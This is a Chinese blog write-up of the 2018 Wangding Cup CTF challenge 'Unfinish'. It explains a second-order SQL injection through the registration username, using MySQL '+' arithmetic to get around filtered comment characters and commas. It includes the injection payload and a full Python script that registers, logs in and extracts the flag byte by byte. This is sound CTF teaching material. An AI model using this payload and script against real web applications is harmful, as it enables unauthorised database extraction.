[网鼎杯2018]Unfinish 数据库注入‘+‘的利用

试一下万能账号登录1'or'1'='1'#,发现有邮箱格式,1@1’or'1'='1'#结果提示@后面不能有引号,算了去register.php瞅瞅,这种看url一般都有的

随便注册一个登录试试

发现用户名被回显到上面了,看来应该考的是二次注入了(这里注意每测试一次就要注册一个新的邮箱,不然用户名不会更改), 再用1'or'1'='1'#判断一下,结果注册失败!!!%23和-- 都不行可能是被过滤掉了,而且你单独输入一个#又会显示注册成功不知道

但我们输入1'or'1'='1进行前后引号闭合的话

可以发现是有注入点的,执行了我们输入的语句

现在难点来了,语句后面加不了注释符,导致我们之前很多盲注语句使用不了,因为无法闭合后面那个引号,看来又要学一个新知识点了!利用数据库中的'+'运算符

借用别人的数据库实现来唠唠

 可以发现我们可以利用+运算的特性,来进行闭合前后的引号,并且配合ascii及substr函数来进行跑我们所需要的信息,于是我们构造(经过测试我们可以知道逗号以及information都被过滤了,因此直接赌字段名啥的都是flag,感觉越难越不会为难你这种字段名,考的是绕过)

0'+ascii(substr((select * from flag) from 1 for 1))+'0

成功执行,但这次脚本比之前就有点复杂了,每次注册的邮箱都不能一样,记得加format字符串格式化,以及要先对register.php发送post请求进行注册,才能对login.php界面发送登录请求,最后结果是在index.php界面获取

#coding:utf-8
import requests
from bs4 import BeautifulSoup
import time


url = 'http://d898921e-3288-4bbe-88dc-b6c5dc11cd79.node4.buuoj.cn:81/'

m = ''
for i in range(100):
    #payload = "0'+ascii(substr((select database()) from {} for 1))+'0".format(i + 1)
    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)#判断每一位ascii码是多少
    register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
    login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
    req = requests.session()
    r1 = req.post(url+'register.php',data = register)
    r2 = req.post(url+'login.php', data = login)
    r3 = req.post(url+'index.php')
    html = r3.text
    #print(html)
    soup = BeautifulSoup(html,'html.parser')
    #print(soup.prettify())
    UserName = soup.span.string
    print(UserName)
    if int(UserName) == 0:
        break
    m += chr(int(UserName))
    print(m)
    time.sleep(1)

这里学到了一个特别强大的模块方法,bs4中的BeautifulSoup

soup = BeautifulSoup(html,'html.parser')
print(soup.prettify())
UserName = soup.span.string
print(UserName)

【Python】BeautifulSoup_风吹我亦散的博客-CSDN博客

python中beautifulsoup的用法_Python中BeautifulSoup的基础用法--附实例_小小仙女儿的博客-CSDN博客

两篇博客讲的很清楚,我们就直接实操看效果

这是我们普通的请求后的text,会发现根据书写习惯的不同很多标签都不是对齐的,看的很不舒服,但是经过 BeautifulSoup(html,'html.parser')python解析为一个对象后

可以看见标签都已经格式化好了,看起来必须方便,但是如果仅仅只有这个功能的话,可是没有什么用,还有最强大的内容查找! soup!

上面博客截取的,可以soup.你所需的标签 来筛选掉你不需要的信息(加了string是直接返回标签内容,不加则一起返回)

这里报错是因为我没有加string导致后面判断识别不出来;

一开始学这个模块的时候我在想为什么还有一个span标签的CTF为什么不输出呢 

从上面博客可以知道它返回的是第一个标签,后面就不会返回了,因此我们要根据情况写脚本

 加了string后过滤成只有我们所需要的用户名回显了,直接跑(保持美观的话还可以加一个strip函数来清除前后的空格)

bingo!又学到一个新方法 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值